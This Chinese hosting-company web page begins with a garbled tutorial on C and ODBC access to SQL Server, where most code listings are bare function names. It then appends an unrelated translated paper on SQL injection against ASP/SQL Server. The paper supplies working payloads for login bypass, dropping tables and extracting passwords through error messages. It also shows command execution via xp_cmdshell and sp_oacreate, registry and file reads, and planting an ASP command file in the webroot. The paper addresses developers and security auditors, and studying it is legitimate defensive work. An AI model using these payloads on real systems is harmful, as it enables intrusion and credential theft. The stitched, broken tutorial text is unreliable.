新聞中心
在現(xiàn)代計(jì)算機(jī)科學(xué)中,SQL數(shù)據(jù)庫(kù)是被廣泛使用的數(shù)據(jù)管理系統(tǒng)之一。C語(yǔ)言作為一種常用的編程語(yǔ)言,其開(kāi)發(fā)者也對(duì)數(shù)據(jù)庫(kù)的連接、管理、運(yùn)行等方面都進(jìn)行了不斷的完善,從而使得C語(yǔ)言在數(shù)據(jù)庫(kù)方面也擁有了較為出色的表現(xiàn)。

那么,本篇文章我們就來(lái)介紹一下如何使用。
之一步:下載SQL Server
我們需要下載并安裝SQL Server,這是一個(gè)功能強(qiáng)大的關(guān)系型數(shù)據(jù)庫(kù)管理系統(tǒng)。SQL Server可以支持Kerberose、LDAP、SSL等各種傳輸協(xié)議,并可使用諸如ADO.NET等數(shù)據(jù)訪問(wèn)技術(shù)來(lái)提高性能和可伸縮性。此外,SQL Server的一個(gè)明顯的優(yōu)勢(shì)是令人信任的安全性:它可以根據(jù)公司的特定要求進(jìn)行安全配置,并提供細(xì)粒度的權(quán)限控制。
第二步:安裝ODBC驅(qū)動(dòng)程序
在官網(wǎng)下載安裝對(duì)應(yīng)的ODBC驅(qū)動(dòng)程序,并完成相應(yīng)的配置。ODBC驅(qū)動(dòng)程序提供了一種統(tǒng)一的方式來(lái)連接任何的數(shù)據(jù)庫(kù)系統(tǒng),因此使用該方式連接SQL Server也顯得十分方便和簡(jiǎn)單。
第三步:連接數(shù)據(jù)庫(kù)
在C語(yǔ)言中,使用ODBC API來(lái)連接數(shù)據(jù)庫(kù)是相對(duì)容易的,只需要使用以下代碼所示函數(shù):
SQLAllocHandle
SQLSetEnvAttr
SQLAllocHandle(SQL_HANDLE_ENV,SQL_NULL_HANDLE,&handle);
SQLSetEnvAttr(handle,SQL_ATTR_ODBC_VERSION,(SQLPOINTER)SQL_OV_ODBC3,0);
SQLAllocHandle
SQLSetConnectAttr
SQLDriverConnect
SQLAllocHandle函數(shù)會(huì)為環(huán)境、連接、語(yǔ)句或描述符返回一個(gè)句柄,并將其指定為參數(shù)標(biāo)識(shí)的類型。SQLSetEnvAttr函數(shù)則允許您修改環(huán)境的屬性;在這里,您要設(shè)置ODBC版本。SQLSetConnectAttr函數(shù)允許您修改連接的屬性,這些屬性可能包括ODBC名稱、用戶名、密碼等。SQLDriverConnect函數(shù)將建立一個(gè)數(shù)據(jù)庫(kù)連接。連接字符串是由多個(gè)鍵值對(duì)組成的,例如數(shù)據(jù)庫(kù)名稱、服務(wù)器名稱、端口號(hào)等,當(dāng)然,每個(gè)數(shù)據(jù)庫(kù)系統(tǒng)的格式可能都是不同的。
第四步:查詢數(shù)據(jù)
連接建立之后,我們就可以開(kāi)始查詢數(shù)據(jù)了。在C語(yǔ)言中,使用ODBC API也十分便捷。代碼如下:
SQLAllocHandle
SQLExecDirect
SQLFetch
SQLFreeHandle
SQLCloseCursor
SQLAllocHandle
SQLExecDirect函數(shù)用于執(zhí)行SQL語(yǔ)句,之一個(gè)參數(shù)是語(yǔ)句句柄,第二個(gè)參數(shù)是SQL語(yǔ)句字符串。SQLFetch函數(shù)可以獲取語(yǔ)句中的數(shù)據(jù),它將一行數(shù)據(jù)復(fù)制到應(yīng)用程序返回的緩沖區(qū)中。每調(diào)用一次SQLFetch,就會(huì)將緩沖區(qū)移動(dòng)到下一行。需要調(diào)用SQLCloseCursor函數(shù)來(lái)關(guān)閉游標(biāo)。在不需要之后,一定要將在之前調(diào)用SQLAllocHandle分配的任何句柄釋放掉。可以使用SQLFreeHandle函數(shù)來(lái)釋放句柄。
確實(shí)是一個(gè)簡(jiǎn)單而重要的過(guò)程。C語(yǔ)言憑借自身的高效性和編程邏輯,為SQL數(shù)據(jù)庫(kù)的連接和操作提供了很大的幫助。通過(guò)以上介紹,我們相信您對(duì)C語(yǔ)言與SQL數(shù)據(jù)庫(kù)結(jié)合的運(yùn)用有了更深入的了解。當(dāng)然,實(shí)現(xiàn)C語(yǔ)言和SQL數(shù)據(jù)庫(kù)之間的交互并不是十分必要,但它可以提升數(shù)據(jù)操作的效率和精度,從而使得整個(gè)開(kāi)發(fā)過(guò)程更加順暢。
相關(guān)問(wèn)題拓展閱讀:
- 如何使用vc6.0和sql2023進(jìn)行連接和數(shù)據(jù)庫(kù)操作(查詢插入更新刪除),更好舉例
如何使用vc6.0和sql2023進(jìn)行連接和數(shù)據(jù)庫(kù)操作(查詢插入更新刪除),更好舉例
這份文檔是詳細(xì)討論SQL注入技術(shù),它適應(yīng)于比較流行的IIS+ASP+SQLSERVER平臺(tái)。它討論了哪些SQL語(yǔ)句能通過(guò)各種各樣的方法注入到應(yīng)用程序中,并且記錄與攻擊相關(guān)的數(shù)據(jù)確認(rèn)和數(shù)據(jù)庫(kù)鎖定。
這份文檔的預(yù)期讀者為與數(shù)據(jù)庫(kù)通信的WEB程序的開(kāi)發(fā)者和那些扮演審核WEB應(yīng)用程序的安全專家。
介紹:
SQL是一種用于關(guān)系數(shù)據(jù)庫(kù)的結(jié)構(gòu)化查詢語(yǔ)言。它分為許多種,但大多數(shù)都松散地基于美國(guó)國(guó)家標(biāo)準(zhǔn)化組織最新的標(biāo)準(zhǔn)SQL-92。典型的執(zhí)核彎隱行語(yǔ)句是query,它能夠收集比較有達(dá)標(biāo)性的記錄并返回一個(gè)單一的結(jié)果集。SQL語(yǔ)言可以修改數(shù)據(jù)庫(kù)結(jié)構(gòu)(數(shù)據(jù)定義語(yǔ)言)和操作數(shù)據(jù)庫(kù)內(nèi)容(數(shù)據(jù)操作語(yǔ)言)。在這份文檔中,我們將特別討論SQLSERVER所使用的Transact-SQL語(yǔ)言。
當(dāng)一個(gè)攻擊者能夠通過(guò)往query中插入一系列的sql語(yǔ)句來(lái)操作數(shù)據(jù)寫入到應(yīng)用程序中去,我們管這種方法定義成SQL注入。
一個(gè)典型的SQL語(yǔ)句如下:
Select id,forename,surname from authors
這條語(yǔ)句將返回authors表中所有行的id,forename和surname列。這個(gè)結(jié)果可以被限制,例如:
Select id,forename,surname from authors where forename’john’ and surname=’ith’
需要著重指明的是字符串’john’和’ith’被單引號(hào)限制。明確的說(shuō),forename和surname字段是被用戶提供的輸入限制的,攻擊者可以通過(guò)輸入值來(lái)往這個(gè)查詢中注入一些SQL語(yǔ)句,
如下:
Forename:jo’hn
Surname:ith
查詢語(yǔ)句變?yōu)?
Select id,forename,surname from authors where forename=’jo’hn’ and surname=’ith’
當(dāng)數(shù)據(jù)庫(kù)試圖去執(zhí)行這個(gè)查詢時(shí),它將返回如下錯(cuò)誤:
Server:Msg 170, Level 15, State 1, Line 1
Line 1:Incorrect syntax near ‘hn’
造成這種結(jié)果的原因是插入了.作為定界符的單引號(hào)。數(shù)據(jù)庫(kù)嘗試去執(zhí)行’hn’,但是失敗。如果攻擊者提供特別的輸入如:
Forename:jo’;drop table authors—
Surname:
結(jié)果是authors表被刪除,造成這種結(jié)果的原因我們稍后再講。
看上去好象通過(guò)從輸入中去掉單引號(hào)或者通過(guò)某些方法避免它們都可以解決這個(gè)問(wèn)題。這是可行的,但是用這種方法做解決方法會(huì)存在幾個(gè)困難。之一,并不是所有用戶提供的數(shù)據(jù)都是字符串。如果用戶輸入的是通過(guò)用戶id來(lái)查詢author,那我們的查詢應(yīng)該像這樣:
Select id,forename,surname from authors where id=1234
在這種情況下,一個(gè)攻擊者可以非常簡(jiǎn)單地在數(shù)字的結(jié)尾添加SQL語(yǔ)句,在其他版本的SQL語(yǔ)言中,使用各種各樣的限定符號(hào);在數(shù)據(jù)庫(kù)管理系統(tǒng)JET引擎中,數(shù)據(jù)可以被使用’#’限定。第二,避免單引號(hào)盡管看上去可以,但是是改廳沒(méi)必要的鬧沖,原因我們稍后再講。
我們更進(jìn)一步地使用一個(gè)簡(jiǎn)單的ASP登陸頁(yè)面來(lái)指出哪些能進(jìn)入SQLSERVER數(shù)據(jù)庫(kù)并且嘗試鑒別進(jìn)入一些虛構(gòu)的應(yīng)用程序的權(quán)限。
這是一個(gè)提交表單頁(yè)的代碼,讓用戶輸入用戶名和密碼:
Login Page
Login
Username:
Password:
下面是process_login.asp的代碼,它是用來(lái)控制登陸的:
p { font-size=20pt ! important}
font { font-size=20pt ! important}
h1 { font-size=64pt ! important}
ACCESS DENIED
ACCESS GRANTED
Welcome, ” ); Response.end }
}
function Main() { //Set up connection
var username
var cn = Server.createobject( “ADODB.Connection” );
cn.connectiontimeout = 20;
cn.open( “l(fā)ocalserver”, “sa”, “password” );
username = new String( Request.form(“username”) );
if( username.length > 0) {
Login( cn );
}
cn.close();
}
Main();
%>
出現(xiàn)問(wèn)題的地方是process_lgin.asp中產(chǎn)生查詢語(yǔ)句的部分:
Var sql=”select * from users where username='”+username+”‘ and password='”+password+”‘”;
如果用戶輸入的信息如下:
Username:’;drop table users—
Password:
數(shù)據(jù)庫(kù)中表users將被刪除,拒絕任何用戶進(jìn)入應(yīng)用程序?!?hào)在Transact-SQL中表示忽略’—’以后的語(yǔ)句,’;’符號(hào)表示一個(gè)查詢的結(jié)束和另一個(gè)查詢的開(kāi)始。’—’位于username字段中是必須的,它為了使這個(gè)特殊的查詢終止,并且不返回錯(cuò)誤。
攻擊者可以只需提供他們知道的用戶名,就可以以任何用戶登陸,使用如下輸入:
Username:admin’—
攻擊者可以使用users表中之一個(gè)用戶,輸入如下:
Username:’ or 1=1—
更特別地,攻擊者可以使用完全虛構(gòu)的用戶登陸,輸入如下:
Username:’ union select 1,’fictional_user’,’some_password’,1—
這種結(jié)果的原因是應(yīng)用程序相信攻擊者指定的是從數(shù)據(jù)庫(kù)中返回結(jié)果的一部分。
通過(guò)錯(cuò)誤消息獲得信息
這個(gè)幾乎是David Litchfield首先發(fā)現(xiàn)的,并且通過(guò)作者滲透測(cè)試的;后來(lái)David寫了一份文檔,后來(lái)作者參考了這份文檔。這些解釋討論了‘錯(cuò)誤消息‘潛在的機(jī)制,使讀者能夠完全地了解它,潛在地引發(fā)他們的能力。
為了操作數(shù)據(jù)庫(kù)中的數(shù)據(jù),攻擊者必須確定某些數(shù)據(jù)庫(kù)和某些表的結(jié)構(gòu)。例如我們可以使用如下語(yǔ)句創(chuàng)建user表:
Create talbe users(
Id int,
Username varchar(255),
Password varchar(255),
Privs int
)
然后將下面的用戶插入到users表中:
Insert into users values(0,’admin’,’r00tr0x!’,0xffff)
Insert into users values(0,’guest’,’guest’,0x0000)
Insert into users values(0,’chris’,’password’,0x00ff)
Insert into users values(0,’fred’,’sesame’,0x00ff)
如果我們的攻擊者想插入一個(gè)自己的用戶。在不知道users表結(jié)構(gòu)的情況下,他不可能成功。即使他比較幸運(yùn),至于privs字段不清楚。攻擊者可能插入一個(gè)’1’,這樣只給他自己一個(gè)低權(quán)限的用戶。
幸運(yùn)地,如果從應(yīng)用程序(默認(rèn)為ASP行為)返回錯(cuò)誤消息,那么攻擊者可以確定整個(gè)數(shù)據(jù)庫(kù)的結(jié)構(gòu),并且可以以程序中連接SQLSERVER的權(quán)限度曲任何值。
(下面以一個(gè)簡(jiǎn)單的數(shù)據(jù)庫(kù)和asp腳本來(lái)舉例說(shuō)明他們是怎么工作的)
首先,攻擊者想獲得建立用戶的表的名字和字段的名字,要做這些,攻擊者需要使用select語(yǔ)法的having子句:
Username:’ having 1=1—
這樣將會(huì)出現(xiàn)如下錯(cuò)誤:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e14’
Column ‘users.id’ is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.
/process_login.asp, line 35
因此現(xiàn)在攻擊者知道了表的名字和之一個(gè)地段的名字。他們?nèi)匀豢梢酝ㄟ^(guò)把字段放到group by子句只能感去找到一個(gè)一個(gè)字段名,如下:
Username:’ group by users.id having 1=1—
出現(xiàn)的錯(cuò)誤如下:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e14’
Column ‘users.username’ is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
/process_login.asp, line 35
最終攻擊者得到了username字段后:
‘ group by users.id,users.username,users.password,users.privs having 1=1—
這句話并不產(chǎn)生錯(cuò)誤,相當(dāng)于:
select * from users where username=”
因此攻擊者現(xiàn)在知道查詢涉及users表,按順序使用列’id,username,password,privs’。
能夠確定每個(gè)列的類型是非常有用的。這可以通過(guò)使用類型轉(zhuǎn)化來(lái)實(shí)現(xiàn),例如:
Username:’ union select sum(username) from users—
這利用了SQLSERVER在確定兩個(gè)結(jié)果集的字段是否相等前應(yīng)用sum子句。嘗試去計(jì)算sum會(huì)得到以下消息:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
The sum or average aggregate operation cannot take a varchar data type as an argument.
/process_login.asp, line 35
這告訴了我們’username’字段的類型是varchar。如果是另一種情況,我們嘗試去計(jì)算sum()的是數(shù)字類型,我們得到的錯(cuò)誤消息告訴我們兩個(gè)的字段數(shù)量不相等。
Username:’ union select sum(id) from users—
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e14’
All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists.
/process_login.asp, line 35
我們可以用這種技術(shù)近似地確定數(shù)據(jù)庫(kù)中任何表中的任何字段的類型。
這樣攻擊者就可以寫一個(gè)好的insert查詢,例如:
Username:’;insert into users values(666,’attacker’,’foobar’,’0xffff)—
這種技術(shù)的潛在影響不僅僅是這些。攻擊者可以利用這些錯(cuò)誤消息顯示環(huán)境信息或數(shù)據(jù)庫(kù)。通過(guò)運(yùn)行一列一定格式的字符串可以獲得標(biāo)準(zhǔn)的錯(cuò)誤消息:
select * from master ..syessages
解釋這些將實(shí)現(xiàn)有趣的消息。
一個(gè)特別有用的消息關(guān)系到類型轉(zhuǎn)化。如果你嘗試將一個(gè)字符串轉(zhuǎn)化成一個(gè)整型數(shù)字,那么字符串的所有內(nèi)容會(huì)返回到錯(cuò)誤消息中。例如在我們簡(jiǎn)單的登陸頁(yè)面中,在username后面會(huì)顯示出SQLSERVER的版本和所運(yùn)行的操作系統(tǒng)信息:
Username:’ union select @@version,1,1,1—
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
Syntax error converting the nvarchar value ‘Microsoft SQL Server.00.194 (Intel X86) Aug:57:48 Copyright (c)Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 2) ‘ to a column of data type int.
/process_login.asp, line 35
這句嘗試去將內(nèi)置的’@@version’常量轉(zhuǎn)化成一個(gè)整型數(shù)字,因?yàn)閡sers表中的之一列是整型數(shù)字。
這種技術(shù)可以用來(lái)讀取數(shù)據(jù)庫(kù)中任何表的任何值。自從攻擊者對(duì)用戶名和用戶密碼比較感興趣后,他們比較喜歡去從users表中讀取用戶名,例如:
Username:’ union select min(username),1,1,1 from users where username>’a’—
這句選擇users表中username大于’a’中的最小值,并試圖把它轉(zhuǎn)化成一個(gè)整型數(shù)字:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
Syntax error converting the varchar value ‘a(chǎn)dmin’ to a column of data type int.
/process_login.asp, line 35
因此攻擊者已經(jīng)知道用戶admin是存在的。這樣他就可以重復(fù)通過(guò)使用where子句和查詢到的用戶名去尋找下一個(gè)用戶。
Username:’ union select min(username),1,1,1 from users where username>’admin’—
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
Syntax error converting the varchar value ‘chris’ to a column of data type int.
/process_login.asp, line 35
一旦攻擊者確定了用戶名,他就可以開(kāi)始收集密碼:
Username:’ union select password,1,1,1 from users where username=’admin’—
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
Syntax error converting the varchar value ‘r00tr0x!’ to a column of data type int.
/process_login.asp, line 35
一個(gè)更高級(jí)的技術(shù)是將所有用戶名和密碼連接長(zhǎng)一個(gè)單獨(dú)的字符串,然后嘗試把它轉(zhuǎn)化成整型數(shù)字。這個(gè)例子指出:Transavt-SQL語(yǔ)法能夠在不改變相同的行的意思的情況下把它們連接起來(lái)。下面的腳本將把值連接起來(lái):
begin declare @ret varchar(8000)
set @ret=’:’
select @ret=@ret+’ ‘+username+’/’+password from users where
username>@ret
select @ret as ret into foo
end
攻擊者使用這個(gè)當(dāng)作用戶名登陸(都在一行)
Username: ‘; begin declare @ret varchar(8000) set @ret=’:’ select @ret=@ret+’ ‘+username+’/’+password from users where username>@ret select @ret as ret into foo end—
這就創(chuàng)建了一個(gè)foo表,里面只有一個(gè)單獨(dú)的列’ret’,里面存放著我們得到的用戶名和密碼的字符串。正常情況下,一個(gè)低權(quán)限的用戶能夠在同一個(gè)數(shù)據(jù)庫(kù)中創(chuàng)建表,或者創(chuàng)建臨時(shí)數(shù)據(jù)庫(kù)。
然后攻擊者就可以取得我們要得到的字符串:
Username:’ union select ret,1,1,1 from foo—
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
Syntax error converting the varchar value ‘: admin/r00tr0x! guest/guest chris/password fred/sesame’ to a column of data type int.
/process_login.asp, line 35
然后丟棄(刪除)表來(lái)清楚腳印:
Username:’; drop table foo—
這個(gè)例子僅僅是這種技術(shù)的一個(gè)表面的作用。沒(méi)必要說(shuō),如果攻擊者能夠從數(shù)據(jù)庫(kù)中獲得足夠的錯(cuò)誤西,他們的工作就變的無(wú)限簡(jiǎn)單。
獲得更高的權(quán)限
一旦攻擊者控制了數(shù)據(jù)庫(kù),他們就想利用那個(gè)權(quán)限去獲得網(wǎng)絡(luò)上更高的控制權(quán)。這可以通過(guò)許多途徑來(lái)達(dá)到:
1. 在數(shù)據(jù)庫(kù)服務(wù)器上,以SQLSERVER權(quán)限利用xp_cmdshell擴(kuò)展存儲(chǔ)過(guò)程執(zhí)行命令。
2. 利用xp_regread擴(kuò)展存儲(chǔ)過(guò)程去讀注冊(cè)表的鍵值,當(dāng)然包括SAM鍵(前提是SQLSERVER是以系統(tǒng)權(quán)限運(yùn)行的)
3. 利用其他存儲(chǔ)過(guò)程去改變服務(wù)器
4. 在連接的服務(wù)器上執(zhí)行查詢
5. 創(chuàng)建客戶擴(kuò)展存儲(chǔ)過(guò)程去在SQLSERVER進(jìn)程中執(zhí)行溢出代碼
6. 使用’bulk insert’語(yǔ)法去讀服務(wù)器上的任意文件
7. 使用bcp在服務(wù)器上建立任意的文本格式的文件
8. 使用sp_OACreate,sp_OAMethod和sp_OAGetProperty系統(tǒng)存儲(chǔ)過(guò)程去創(chuàng)建ActiveX應(yīng)用程序,使它能做任何ASP腳本可以做的事情
這些只列舉了非常普通的可能攻擊方法的少量,攻擊者很可能使用其它方法。我們介紹收集到的攻擊關(guān)于SQL服務(wù)器的明顯攻擊方法,為了說(shuō)明哪方面可能并被授予權(quán)限去注入SQL.。我們將依次處理以上提到的各種方法:
許多存儲(chǔ)過(guò)程被創(chuàng)建在SQLSERVER中,執(zhí)行各種各樣的功能,例如發(fā)送電子郵件和與注冊(cè)表交互。
Xp_cmdshell是一個(gè)允許執(zhí)行任意的命令行命令的內(nèi)置的存儲(chǔ)過(guò)程。例如:
Exec master..xp_cmdshell ‘dir’
將獲得SQLSERVER進(jìn)程的當(dāng)前工作目錄中的目錄列表。
Exec master..xp_cmdshell ‘net user’
將提供服務(wù)器上所有用戶的列表。當(dāng)SQLSERVER正常以系統(tǒng)帳戶或域帳戶運(yùn)行時(shí),攻擊者可以做出更嚴(yán)重的危害。
另一個(gè)有用的內(nèi)置存儲(chǔ)過(guò)程是xp_regXXXX類的函數(shù)。
Xp_regaddmultistring
Xp_regdeletekey
Xp_regdeletevalue
Xp_regenumkeys
Xp_regenumvalues
Xp_regread
Xp_regremovemultistring
Xp_regwrite
這些函數(shù)的使用方法舉例如下:
exec xp_regread HKEY_LOCAL_MACHINE,’SYSTEM\CurrentControlSet\Services\lanmanserver\parameters’, ‘nullsessionshares’
這將確定什么樣的會(huì)話連接在服務(wù)器上是可以使用的
exec xp_regenumvalues HKEY_LOCAL_MACHINE,’SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities’
這將顯示服務(wù)器上所有SNMP團(tuán)體配置。在SNMP團(tuán)體很少被更改和在許多主機(jī)間共享的情況下,有了這些信息,攻擊者或許會(huì)重新配置同一網(wǎng)絡(luò)中的網(wǎng)絡(luò)設(shè)備。
這很容易想象到一個(gè)攻擊者可以利用這些函數(shù)讀取SAM,修改系統(tǒng)服務(wù)的配置,使它下次機(jī)器重啟時(shí)啟動(dòng),或在下次任何用戶登陸時(shí)執(zhí)行一條任意的命令。
xp_servicecontrol過(guò)程允許用戶啟動(dòng),停止,暫停和繼續(xù)服務(wù):
exec master..xp_servicecontrol ‘start’,’schedule’
exec master..xp_servicecontrol ‘start’,’server’
下表中列出了少量的其他有用的存儲(chǔ)過(guò)程:
Xp_availablemedia 顯示機(jī)器上有用的驅(qū)動(dòng)器
Xp_dirtree 允許獲得一個(gè)目錄樹(shù)
Xp_enumdsn 列舉服務(wù)器上的ODBC數(shù)據(jù)源
Xp_loginconfig Reveals information about the security mode of the server
Xp_makecab 允許用戶在服務(wù)器上創(chuàng)建一個(gè)壓縮文件
Xp_ntsec_enumdomains 列舉服務(wù)器可以進(jìn)入的域
Xp_terminate_process 提供進(jìn)程的進(jìn)程ID,終止此進(jìn)程
SQL SERVER提供了一種允許服務(wù)器連接的機(jī)制,也就是說(shuō)允許一臺(tái)數(shù)據(jù)庫(kù)服務(wù)器上的查詢能夠操作另一臺(tái)服務(wù)器上的數(shù)據(jù)。這個(gè)鏈接存放在master.sysservers表中。如果一個(gè)連接的服務(wù)器已經(jīng)被設(shè)置成使用’sp_addlinkedsrvlogin’過(guò)程,當(dāng)前可信的連接不用登陸就可以訪問(wèn)到服務(wù)器?!痮penquery’函數(shù)允許查詢脫離服務(wù)器也可以執(zhí)行。
擴(kuò)展存儲(chǔ)過(guò)程應(yīng)用程序接口是相當(dāng)簡(jiǎn)單的,創(chuàng)建一個(gè)攜帶惡意代碼的擴(kuò)展存儲(chǔ)過(guò)程動(dòng)態(tài)連接庫(kù)是一個(gè)相當(dāng)簡(jiǎn)單的任務(wù)。使用命令行有幾個(gè)方法可以上傳動(dòng)態(tài)連接庫(kù)到SQL服務(wù)器上,還有其它包括了多種自動(dòng)通訊的通訊機(jī)制,比如HTTP下載和FTP腳本。
一旦動(dòng)態(tài)連接庫(kù)文件在機(jī)器上運(yùn)行即SQL服務(wù)器能夠被訪問(wèn)——這不需要它自己是SQL服務(wù)器——攻擊者就能夠使用下面的命令添加擴(kuò)展存儲(chǔ)過(guò)程(這種情況下,我們的惡意存儲(chǔ)過(guò)程就是一個(gè)能輸出服務(wù)器的系統(tǒng)文件的小的木馬):
Sp_addextendedproc ‘xp_webserver’,’c:\temp\xp_foo.dll’
在正常的方式下,這個(gè)擴(kuò)展存儲(chǔ)過(guò)程可以被運(yùn)行:
exec xp_webserver
一旦這個(gè)程序被運(yùn)行,可以使用下面的方法將它除去:
xp_dropextendedproc ‘xp_webserver’
使用’bulk insert’語(yǔ)法可以將一個(gè)文本文件插入到一個(gè)臨時(shí)表中。簡(jiǎn)單地創(chuàng)建這個(gè)表:
create table foo( line varchar(8000) )
然后執(zhí)行bulk insert操作把文件中的數(shù)據(jù)插入到表中,如:
bulk insert foo from ‘c:\inetpub\wwwroot\process_login.asp’
可以使用上述的錯(cuò)誤消息技術(shù),或者使用’union’選擇,使文本文件中的數(shù)據(jù)與應(yīng)用程序正常返回的數(shù)據(jù)結(jié)合,將數(shù)據(jù)取回。這個(gè)用來(lái)獲取存放在數(shù)據(jù)庫(kù)服務(wù)器上的腳本源代碼或者ASP腳本代碼是非常有用的。
使用’bulk insert’的相對(duì)技術(shù)可以很容易建立任意的文本文件。不幸的是這需要命令行工具?!痓cp’,即’bulk copy program’
既然 bcp可以從SQL服務(wù)進(jìn)程外訪問(wèn)數(shù)據(jù)庫(kù),它需要登陸。這代表獲得權(quán)限不是很困難,既然攻擊者能建立,或者利用整體安全機(jī)制(如果服務(wù)器配置成可以使用它)。
命令行格式如下:
bcp “select * from text..foo” queryout c:\inetpub\wwwroot\runcommand.asp –c -Slocalhost –Usa –Pfoobar
‘S’參數(shù)為執(zhí)行查詢的服務(wù)器,’U’參數(shù)為用戶名,’P’參數(shù)為密碼,這里為’foobar’
SQL SERVER中提供了幾個(gè)內(nèi)置的允許創(chuàng)建ActiveX自動(dòng)執(zhí)行腳本的存儲(chǔ)過(guò)程。這些腳本和運(yùn)行在windows腳本解釋器下的腳本,或者ASP腳本程序一樣——他們使用VBScript或JavaScript書寫,他們創(chuàng)建自動(dòng)執(zhí)行對(duì)象并和它們交互。一個(gè)自動(dòng)執(zhí)行腳本使用這種方法書寫可以在Transact-SQL中做任何在ASP腳本中,或者WSH腳本中可以做的任何事情。為了闡明這鞋,這里提供了幾個(gè)例子:
(1)這個(gè)例子使用’wscript.shell’對(duì)象建立了一個(gè)記事本的實(shí)例:
wscript.shell example
declare @o int
exec sp_oacreate ‘wscript.shell’,@o out
exec sp_oamethod @o,’run’,NULL,’notepad.exe’
我們可以通過(guò)指定在用戶名后面來(lái)執(zhí)行它:
Username:’; declare @o int exec sp_oacreate ‘wscript.shell’,@o out exec sp_oamethod @o,’run’,NULL,’notepad.exe’—
(2)這個(gè)例子使用’scripting.filesystemobject’對(duì)象讀一個(gè)已知的文本文件:
–scripting.filesystemobject example – read a known file
declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_oacreate ‘scripting.filesystemobject’, @o out
exec sp_oamethod @o, ‘opentextfile’, @f out, ‘c:\boot.ini’, 1
exec @ret=sp_oamethod @f,’readline’,@line out
while(@ret=0)
begin
print @line
exec @ret=sp_oamethod @f,’readline’,@line out
end
(3)這個(gè)例子創(chuàng)建了一個(gè)能執(zhí)行通過(guò)提交到的任何命令:
— scripting.filesystemobject example – create a ‘run this’.asp file
declare @o int,@f int,@t int,@ret int
exec sp_oacreate ‘scripting.filesystemobject’,@o out
exec sp_oamethod @o,’createtextfile’,@f out,’c:\inetpub\wwwroot\foo.asp’,1
exec @ret=sp_oamethod @f,’writeline’,NULL,”
需要指出的是如果運(yùn)行的環(huán)境是WIN NT4+IIS4平臺(tái)上,那么通過(guò)這個(gè)程序運(yùn)行的命令是以系統(tǒng)權(quán)限運(yùn)行的。在IIS5中,它以一個(gè)比較低的權(quán)限IWAM_XXXaccount運(yùn)行。
(4)這些例子闡述了這個(gè)技術(shù)的適用性;它可以使用’speech.voicetext’對(duì)象引起SQL SERVER發(fā)聲:
declare @o int,@ret int
exec sp_oacreate ‘speech.voicetext’,@o out
exec sp_oamethod @o,’register’,NULL,’foo’,’bar’
exec sp_oasetproperty @o,’speed’,150
exec sp_oamethod @o,’speak’,NULL,’all your sequel servers are belong to,us’,528
waitfor delay ’00:00:05′
我們可以在我們假定的例子中,通過(guò)指定在用戶名后面來(lái)執(zhí)行它(注意這個(gè)例子不僅僅是注入一個(gè)腳本,同時(shí)以admin權(quán)限登陸到應(yīng)用程序):
Username:admin’;declare @o int,@ret int exec sp_oacreate ‘speech.voicetext’,@o out exec sp_oamethod @o,’register’,NULL,’foo’,’bar’ exec sp_oasetproperty @o,’speed’,150 exec sp_oamethod @o,’speak’,NULL,’all your sequel servers are belong to us’,528 waitfor delay ’00:00:05′–
傳說(shuō)如果一個(gè)ASP應(yīng)用程序在數(shù)據(jù)庫(kù)中使用了存儲(chǔ)過(guò)程,那么SQL注入是不可能的。這句話只對(duì)了一半,這要看ASP腳本中調(diào)用這個(gè)存儲(chǔ)過(guò)程的方式。
本質(zhì)上,如果一個(gè)有參數(shù)的查詢被執(zhí)行 ,并且用戶提供的參數(shù)通過(guò)安全檢查才放入到查詢中,那么SQL注入明顯是不可能發(fā)生的。但是如果攻擊者努力影響所執(zhí)行查詢語(yǔ)句的非數(shù)據(jù)部分,這樣他們就可能能夠控制數(shù)據(jù)庫(kù)。
比較好的常規(guī)的標(biāo)準(zhǔn)是:
· 如果一個(gè)ASP腳本能夠產(chǎn)生一個(gè)被提交的SQL查詢字符串,即使它使用了存儲(chǔ)過(guò)程也是能夠引起SQL注入的弱點(diǎn)。
c 連接sql數(shù)據(jù)庫(kù)并查詢結(jié)果的介紹就聊到這里吧,感謝你花時(shí)間閱讀本站內(nèi)容,更多關(guān)于c 連接sql數(shù)據(jù)庫(kù)并查詢結(jié)果,C語(yǔ)言實(shí)現(xiàn)連接SQL數(shù)據(jù)庫(kù)并查詢數(shù)據(jù),如何使用vc6.0和sql2023進(jìn)行連接和數(shù)據(jù)庫(kù)操作(查詢插入更新刪除),更好舉例的信息別忘了在本站進(jìn)行查找喔。
成都創(chuàng)新互聯(lián)科技有限公司,是一家專注于互聯(lián)網(wǎng)、IDC服務(wù)、應(yīng)用軟件開(kāi)發(fā)、網(wǎng)站建設(shè)推廣的公司,為客戶提供互聯(lián)網(wǎng)基礎(chǔ)服務(wù)!
創(chuàng)新互聯(lián)(www.cdcxhl.com)提供簡(jiǎn)單好用,價(jià)格厚道的香港/美國(guó)云服務(wù)器和獨(dú)立服務(wù)器。創(chuàng)新互聯(lián)成都老牌IDC服務(wù)商,專注四川成都IDC機(jī)房服務(wù)器托管/機(jī)柜租用。為您精選優(yōu)質(zhì)idc數(shù)據(jù)中心機(jī)房租用、服務(wù)器托管、機(jī)柜租賃、大帶寬租用,可選線路電信、移動(dòng)、聯(lián)通等。
本文題目:C語(yǔ)言實(shí)現(xiàn)連接SQL數(shù)據(jù)庫(kù)并查詢數(shù)據(jù)(c連接sql數(shù)據(jù)庫(kù)并查詢結(jié)果)
文章源于:http://fisionsoft.com.cn/article/dhgddhg.html
其他資訊
- 動(dòng)態(tài)構(gòu)建數(shù)據(jù)分析系統(tǒng)移動(dòng)Redis實(shí)現(xiàn)(移動(dòng)redis)
- 優(yōu)質(zhì)免費(fèi)空間虛擬主機(jī)服務(wù),讓你輕松搭建自己的網(wǎng)站!(免費(fèi)空間虛擬主機(jī))
